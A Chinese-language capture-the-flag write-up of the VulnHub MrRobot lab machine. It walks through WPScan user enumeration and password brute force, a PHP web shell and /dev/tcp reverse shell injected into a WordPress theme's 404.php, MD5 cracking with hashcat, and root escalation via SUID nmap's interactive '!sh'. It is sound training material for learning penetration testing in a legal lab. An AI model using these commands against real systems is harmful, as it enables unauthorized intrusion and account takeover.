1. 为什么VulnHub靶场是渗透测试入门的“最佳陪练”
先说个我觉得挺反直觉的现象:很多人学渗透测试,上来就奔着真实目标去练手,结果要么被反制,要么因为法律边界直接劝退。这行的老规矩永远是“先在自己的地盘上把该踩的坑全踩一遍,再谈其他”。VulnHub这个平台的价值,恰恰就是提供了一个完全合法、可随意“破坏”的练兵场。
MrRobot这台的靶机,在VulnHub上属于入门到进阶之间非常经典的一台。说它经典,不是因为它有多难——其实它的漏洞链非常清晰,全打下来用不了几个工具——而是因为它几乎复刻了真实渗透测试中“由外到内、由低权限到高权限”的完整标准路径。从端口扫描、目录探测,到CMS利用、弱口令爆破,再到提权思路和字典定制,整条链路像教科书一样工整。
用这台靶机练手,你能收获的不只是“拿到root”的快感,更是对渗透测试流程整体节奏的把控:信息收集阶段到底该多投入、漏洞利用阶段出现状况怎么调整、提权阶段如何从蛛丝马迹里找到突破口。这篇文章不搞标题党,就把我手动通关这台靶机的完整过程、每一步的思考逻辑、以及踩过的那些坑都摊开讲。不管你是刚装好Kali的纯小白,还是已经打过几台其他靶机想进阶的同行,这篇应该都能给你一些实在的参考。
2. 起手先建靶场:网络模式选择和主机发现思路
2.1 网络模式:为什么推荐NAT而不是桥接
搭建MrRobot靶机时,网上很多教程会让你用VMware或VirtualBox直接默认配置。但我个人强烈建议把虚拟网络模式统一设置为NAT模式,而不是桥接模式。原因很简单:NAT模式下的虚拟机组网隔离性更好,IP分配更稳定,不容易和你物理局域网里的真实设备冲突,对新手来说排查网络故障的成本低很多。
把Kali和MrRobot靶机都挂在同一个NAT网段下,Kali启动后通常会自动获取一个192.168.x.x的内网地址。靶机也一样。这样两台虚拟机之间天然互通,但又不会暴露到外部网络,练手过程完全受控。
安装MrRobot的.ova文件时有一点要注意:如果导入虚拟机后网络接口名不是你预期的eth0,或者干脆没有分配到IP,多半是网卡兼容模式的问题。处理办法是先把虚拟机“设置-网络适配器”里确认是NAT模式,然后在靶机开机进入编辑模式,调整网卡的硬件兼容版本,再重新启动系统。
2.2 主机存活探测:netdiscover与arp-scan的选择
靶机启动完成后,第一步一定是确认靶机IP。这个环节指望靠记忆是不靠谱的,因为DHCP分配的地址每次重启可能有变化。我常用的是netdiscover:
sudo netdiscover -r 192.168.x.0/24或者用arp-scan做同样的事:
sudo arp-scan --localnet两个工具的筛选逻辑略有差异——netdiscover靠发送ARP请求并监听响应,arp-scan则直接批量发送ARP数据包再收集应答。个人体验是netdiscover在显示对方MAC厂商信息方面更直观,能快速辨认出VMware或VirtualBox的虚拟机网卡。靶机的MAC地址前三位通常是00:0C:29(VMware)或08:00:27(VirtualBox),看这个基本就能在列表里直接锁定目标。
ARP Scanning 192.168.x.x IP MAC Vendor 192.168.x.x 00:0C:29:xx:xx:xx VMware, Inc.这里有个操作心得:靶机开机后别急着扫,等1-2分钟让系统服务完全启动再开始。遇到过太多次因为抢时间导致扫描结果不全——明明80端口开着,结果第一次扫出来的服务列表里是空的,后续排查浪费了大量时间。
3. 初步侦察:Nmap全端口扫描和robots.txt暴露的信息量
3.1 全端口扫描为什么不能省
拿到靶机IP后的标准动作是Nmap扫描。很多人贪快,直接nmap -sV 192.168.x.x只扫Top 1000的常用端口完事。但做渗透测试,我在任何靶机上都会先跑一次全端口:
nmap -sS -sV -p- -T4 192.168.x.x参数解释一下:-sS是SYN半开扫描,速度快且不容易大量留日志;-sV做服务版本探测;-p-表示扫描全部65535个端口;-T4调整时序,保证扫描也要给靶机留条活路,不要疯狂发包导致丢包误判。
MrRobot这台靶机跑完全端口扫描,结果非常干净:
PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd看到这个结果第一反应是什么?22端口是closed,不是filtered,说明靶机上确实没开SSH,而不是防火墙拦截。Web服务是Apache,80和443都开着。这个端口格局其实已经暗示了渗透路线的重心——所有攻击面都在Web层面,后半段的横向移动和提权则要走别的路子。
为什么不装个小字典直接开扫目录?因为还缺关键信息——Web服务的框架、中间件版本、以及隐藏在页面源码里的线索。
3.2 robots.txt里的“公共厕所”逻辑
顺手用curl看一下靶机首页:
curl -I http://192.168.x.x返回的Header里Server字段精确到Apache版本。紧接着最骚的一步来了——查看robots.txt:
curl http://192.168.x.x/robots.txt内容如下:
User-agent: * Disallow: /0 Disallow: /admin Disallow: /key-1-of-3.txt看到这行配置的第一反应:靶机作者在故意“送分”。robots.txt的本意是告诉搜索引擎哪些目录不允许抓取,但在这个场景里,它恰好把攻击者最需要的第一个Flag路径直接写在里面。key-1-of-3.txt这个文件名格式也很有信息量——MrRobot这台靶机一共有3个Flag,这是第一个。
访问一下:
curl http://192.168.x.x/key-1-of-3.txt顺利拿到第一段Flag。同时在robots.txt下方还看到了一个叫fsocity.dic的资源,先记住这个名字,这是个伏笔,后面爆破会用到它。
有人会问:robots.txt在真实渗透测试里重要吗?答案是看运气。很多站点管理不规范,robots.txt会暴露后台入口、备份文件、敏感目录,这些在授权测试里都是白捡的信息。MrRobot这台靶机把这个点放在开局,就是为了培养这种“连静态文件也值得翻一翻”的敏感度。
4. Web指纹识别与WordPress攻击面
4.1 从页面源码里挖出CMS类型
访问80端口首页时我留了个心眼——先用浏览器直接打开,再用curl拉一遍源码。源码里有一行注释:
<!-- If you are reading this, you are in the right place. Remember: Sometimes, the key to progress is to look deeper. -->这种提示在靶机里非常典型:光看表面的首页没用,得深入其他路径。继续翻源码,发现了WordPress相关的资源引用——wp-content、wp-includes这些关键词某一个都不说明问题,但它们同时出现,基本可以断定这是一个WordPress站点。
再多看几眼,能发现站点主题是“Krypton”之类的自定义主题,甚至能看到页面生成器的版本号。WordPress本身漏洞多、插件生态庞大,知道CMS类型之后,攻击面一下子就打开了。
4.2 WPScan枚举:从用户列表中找突破口
确认是WordPress后,马上上WPScan做深度枚举:
wpscan --url http://192.168.x.x --enumerate u--enumerate u参数用于枚举站内用户。WPScan枚举用户依赖的是WordPress REST API或者作者归档页面等途径,这个靶机明确暴露了可枚举的用户信息:
[i] User(s) Identified: [+] Elliot只有elliot这一个用户名。为什么用户枚举这么重要?因为后面爆破WordPress后台(wp-login.php)时,你已经省去了“猜用户名”这个环节,直接拿已知用户名打密码。现实中很多站点后台用户名默认是admin,但只要改过,爆破难度就会上升一个量级。这里靶机直接送用户名,相当于把锁的一半钥匙孔露出来了。
WPScan还能再扫一遍插件和主题:
wpscan --url http://192.168.x.x --enumerate vp --plugins-detection aggressive如果输出里发现某个插件存在已知漏洞,那比纯抢密码更快。但MrRobot这台靶机在插件上没给什么可乘之机,真正的钥匙还是密码爆破。
5. 字典的胜利:fsocity.dic的降维打击
5.1 自带字典和定制字典的效率差异
之前提到robots.txt里有个叫fsocity.dic的文件,现在到它上场的时候了。先用curl把这个字典下载下来:
curl -O http://192.168.x.x/fsocity.dic wc -l fsocity.dic看到行数会吓一跳——这个字典非常大。但细看会发现全是英文单词和常见密码组合。这正是MrRobot靶机作者精心设计的一环:靶机根本不跟你拼字典的覆盖量,而是拼你对现场信息的使用效率。
破解WordPress后台密码有两种选择。第一种是直接用Kali自带的字典配合wpscan:
wpscan --url http://192.168.x.x --passwords /usr/share/wordlists/rockyou.txt --usernames elliot这种方案的问题是rockyou.txt体积巨大,全程跑完需要很长时间。第二种思路就是基于站内素材定制字典:先用sort fsocity.dic | uniq去重,再按靶机主题加入可能的密码组合,比如剧中主角Elliot常用的密码。实测下来,精加工过的定制字典跑完也就几分钟。
5.2 WPScan爆破wp-login的几条实战经验
爆破WordPress后台时,WPScan有几个参数很关键:
wpscan --url http://192.168.x.x --passwords fsocity.dic --usernames elliot --max-threads 50--max-threads控制并发线程数,调大一点速度确实快,但WPScan对WordPress的登录接口会有频率限制。如果跑了一会儿没动静,多半是被WAF或插件拦截了,这时候把线程数调低反而更容易出结果。
爆破成功后,WPScan会直接输出:
[SUCCESS] Login: elliot / Password: ER28-0652Elliot的密码是ER28-0652。这个密码非常“MrRobot”——看起来像随机字符串,其实跟剧里的情节有千丝万缕的关系。很多真实渗透场景里,密码爆破能成功,靠的从来不是字典大,而是“字典合理+对目标背景有了解”。
爆破的过程也能顺带验证一个事:靶机上WordPress的xmlrpc.php往往开着,这个接口经常被人用来做分布式密码爆破。不过MrRobot这台靶机直接用wp-login打就够了,不需要再绕道xmlrpc。
6. WordPress后台到Webshell:主题文件注入与反弹Shell
6.1 为什么优先利用主题编辑功能
拿到后台账号密码后,登录/wp-login.php。进去之后的第一反应不是找什么插件上传漏洞,而是看一眼“外观-主题编辑器”,这是WordPress最老牌、也最稳定的getshell方式之一。
WordPress的后台默认允许管理员直接编辑主题的PHP模板文件。这意味着你不需要上传任何恶意插件或木马文件,只需要在某个PHP模板里插入一句反弹Shell代码,然后找个方式触发这个模板的加载,就能拿到Webshell。
我用的方式是编辑主题的404.php文件——因为这个页面在访问一个不存在的路径时必定会被加载,触发概率几乎100%。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/你的KaliIP/4444 0>&1'");这里要注意,有些PHP环境下exec函数可能被禁用,所以更稳妥的做法是先用一句话木马确认代码执行能力,再考虑反弹Shell。我实际用的代码语句最终是:
<?php system($_GET['cmd']); ?>先在404.php里插入这个,然后访问:
curl "http://192.168.x.x/不存在路径/?cmd=id"如果返回了www-data用户的执行结果,说明代码执行通道OK,这时候再替换成反弹Shell语句也不迟。
6.2 反弹Shell连接过程的坑:80还是443
反弹Shell的目标端口最好避开80,因为靶机的Apache本身就占用80端口监听,不会出问题;但443端口虽然开着,HTTPS的流量封装可能导致你收不到稳定的反向连接。我建议监听一个高位端口比如4444或9999:
nc -lvnp 4444触发方式就是在浏览器里访问一个带恶意代码的路径,将404.php在404场景下渲染出来。此时nc那一端应该能看到来自靶机的连接请求:
connect to [你的KaliIP] from (UNKNOWN) [192.168.x.x] 39878 bash: cannot set terminal process group (1234): Inappropriate ioctl for device看到bash: cannot set terminal process group这种报错别慌,说明Shell已经建立,只是当前TTY不完整。输入以下命令升级成交互式Shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'然后再做一次标准的前后台切换和终端设置,就能获得一个完整可用的交互Shell。
这里建议把Shell升级这步做扎实,因为后续查看文件、编辑配置、传提权工具都依赖一个稳定的终端环境,半残的Shell会把很多操作变成噩梦。有一次我嫌麻烦没做升级,结果在提权阶段用vim编辑文件时方向键全是乱码,活生生浪费了十几分钟。
7. 提权前的信息收集:低权限下的敏感文件
7.1 /home目录下的第二个Flag和密码哈希
拿到www-data权限后,常规操作是先把当前目录过一遍,然后切换到WordPress站点根目录看看wp-config.php里的数据库密码。但MrRobot这台靶机的纵深设计更直白——直接翻/home目录:
ls -la /home你能看到有个叫robot的用户目录,这名字暗示靶机有个真实用户叫robot。进入这个目录:
ls -la /home/robot里面躺着两个重要文件:key-2-of-3.txt和password.raw-md5。
尝试直接读取key-2-of-3.txt时会报Permission Denied,因为当前权限不够。而password.raw-md5文件内容是一长串MD5哈希:
robot:c3fcd3d76192e4007dfb496cca67e13b用在线破解工具或者hashcat跑一下:
hashcat -m 0 -a 0 c3fcd3d76192e4007dfb496cca67e13b /usr/share/wordlists/rockyou.txt很快出结果:abcdefghijklmnopqrstuvwxyz——对,就是字母表顺序。这台靶机在密码设计上明显在玩梗。这串MD5对应的明文是robot用户的密码,意味着下一步就是切换到robot身份。
有一个细节值得提醒:拿到哈希后不要一上来就硬破解,可以先看一眼哈希值本身是否能在网上搜到已知解。MrRobot这台靶机的密码哈希很早就在各大Writeup里出现,如果你的环境允许联网,直接搜反而更快。但作为练习,我坚持用hashcat走一遍破解流程。
7.2 横向切换到robot用户与第二个Flag
用robot的密码尝试su切换:
su robot这里会遇到一个小坑:从www-data的Shell直接su,系统会提示su: must be run from a terminal,原因是当前TTY不完整。所以前面强调的Shell升级步骤在这里再次体现价值。升级完TTY后再su,输入密码abcdefghijklmnopqrstuvwxyz,成功切到robot用户。
cat /home/robot/key-2-of-3.txt第二个Flag到手。此时系统权限已经从Web服务的www-data提升到了普通系统用户robot,接下来目标很明确:继续提权到root。
8. 从robot到root:Nmap交互模式的提权链路
8.1 Linux混入了一个“非预期”的漏洞思路
拿到robot用户后,我照例做了几件事:看sudo权限、看suid文件、看系统版本,结果在查看有哪些suid程序时发现一个意外的文件:
find / -perm -4000 -type f 2>/dev/null输出列表里出现了/usr/local/bin/nmap。这个非常有代表性——Nmap的老版本(比如3.x或4.x)存在交互模式逃逸到Shell的问题,如果Nmap本身被设置了SUID位,那么启动Nmap并进入交互模式后,!sh可以直接弹出一个root权限的Shell。
更常见的路径是检查sudo -l是否有Nmap授权:
sudo -l如果返回(ALL) NOPASSWD: /usr/local/bin/nmap,那直接用sudo nmap --interactive就完事。但MrRobot这台靶机上Nmap是带了SUID位,这比sudo授权更直接——不需要任何密码,普通用户执行Nmap时就直接以owner权限运行,而owner是root。
8.2 Nmap交互模式弹Shell的完整操作
Nmap在非交互模式下也能执行命令,利用方式有两种:
方式一:交互模式
nmap --interactive nmap> !sh输入!sh后,你会直接获得一个root权限的shell。验证一下:
id uid=0(root) gid=0(root) groups=0(root)方式二:非交互模式(如果交互模式被限制)
nmap --script 'http-shellshock' --script-args='...'不过这台靶机用方式一就够了。
获得root权限后,最后一个Flag的位置通常在/root目录下:
cat /root/key-3-of-3.txt到这里,MrRobot这台靶机的完整渗透链就跑完了:Web信息收集 -> WordPress爆破 -> 主题注入GetShell -> 本地密码哈希破解 -> 横向切换到robot -> SUID提权到root -> 拿到全部三把钥匙。
9. 实战复盘:这台靶机教会我的四件事
打完MrRobot,我复盘的时候一直在琢磨一个问题:为什么这台靶机在VulnHub上评价那么高?后来想明白了,它把所有渗透测试中最重要的细节都浓缩在一条不长的攻击链里了。
第一,robots.txt这种边角料文件可能藏着战略性信息。很多新手到了目标站点只会盯着首页和常见目录扫,忽略了robots.txt、sitemap.xml、.git/这类文件。MrRobot在开局就用一个key-1-of-3.txt告诉你了信息收集的深度会直接决定你能走多远。
第二,定制字典比通用字典高效得多。WPScan爆破WordPress后台时,沿用rockyou.txt全量跑可能要跑几个小时,而基于靶机提供的fsocity.dic做去重、清洗、扩充后,几分钟就出结果。现实渗透测试里,根据目标站点内容、公司背景、个人社交信息定制字典,成功率远高于盲目堆通用字典。
第三,TTY升级不是可选项而是必备项。从反弹Shell到su切换,从读文件到执行提权工具,每一步都依赖一个完整交互式终端。很多新手卡在拿到Shell之后寸步难行,不是因为没思路,而是连su指令都用不了。
第四,SUID文件的价值在系统中远比想象中重要。Nmap可以被赋予SUID位,很多系统管理员的“顺手配置”会成为提权的突破口。打完靶机之后,对系统里所有带SUID位的文件做一次盘点,你会发现很多意想不到的惊喜——这句话在真实渗透测试里同样成立。
10. 一点补充:关于合法授权和实战演练的心态
最后多聊一句关于练手心态的问题。很多人玩这类靶机喜欢跳步骤、用现成脚本一键打通。但渗透测试这项技能从来不是靠“快”来衡量的,而是靠“每一步都能解释为什么”来积累的。我打靶机的习惯是,哪怕用脚本能一键拿到Shell,也会手动走一遍攻击链,把每个工具的响应结果和底层原理对应起来。这种慢功夫,才是日后面对真实目标时最靠得住的东西。
如果这篇过程对你有所帮助或者勾起了你打靶剂的兴趣,欢迎在评论区聊聊你在哪一步卡过壳,或者你打这台靶机时用了哪些不一样的思路。实战这条路,多交流一次就多开阔一分。